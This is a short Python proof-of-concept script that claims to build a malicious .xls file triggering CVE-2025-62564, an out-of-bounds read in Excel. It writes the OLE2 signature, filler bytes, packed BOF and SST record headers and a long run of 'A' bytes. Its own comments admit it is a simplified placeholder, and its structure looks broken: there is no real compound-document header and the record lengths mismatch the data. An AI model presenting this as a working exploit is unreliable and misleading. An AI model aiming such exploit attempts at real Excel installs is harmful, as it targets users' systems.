The following code is for security research and authorized testing only.
python
# CVE-2025-62564 PoC - Malicious Excel File Trigger
# This PoC demonstrates the structure needed to trigger the vulnerability
# In real exploitation, specific binary data would be crafted
import struct
def create_malicious_excel():
"""
Create a minimal PoC Excel file that attempts to trigger
CVE-2025-62564 out-of-bounds read vulnerability
"""
# Excel file signature
excel_header = b'\xD0\xCF\x11\xE0\xA1\xB1\x1A\xE1'
# OLE2 compound document structure
# This is a simplified representation
header = bytearray(excel_header)
# Add malicious payload markers
# In actual exploitation, specific byte sequences would trigger the bug
payload = b'\x00' * 100 # Padding to reach vulnerable code path
payload += b'\xFF\xFF\xFF\xFF' * 10 # Malformed data structures
# Excel-specific records that may trigger the vulnerability
# BOF record (Beginning of File)
bof_record = struct.pack('<HHII', 0x0809, 0x001E, 0x00000000, 0x00000006)
# SST record (Shared String Table) - potential trigger point
sst_record = struct.pack('<HHI', 0x00FC, 0x0008, 0x00000002)
# Malformed data that may cause out-of-bounds read
malformed_data = b'\x41' * 0x1000 + b'\x00' * 0x1000
full_payload = header + payload + bof_record + sst_record + malformed_data
# Save as .xls file
with open('CVE-2025-62564_poc.xls', 'wb') as f:
f.write(full_payload)
print('[+] PoC Excel file created: CVE-2025-62564_poc.xls')
print('[+] This file attempts to trigger out-of-bounds read in Excel')
if __name__ == '__main__':
create_malicious_excel()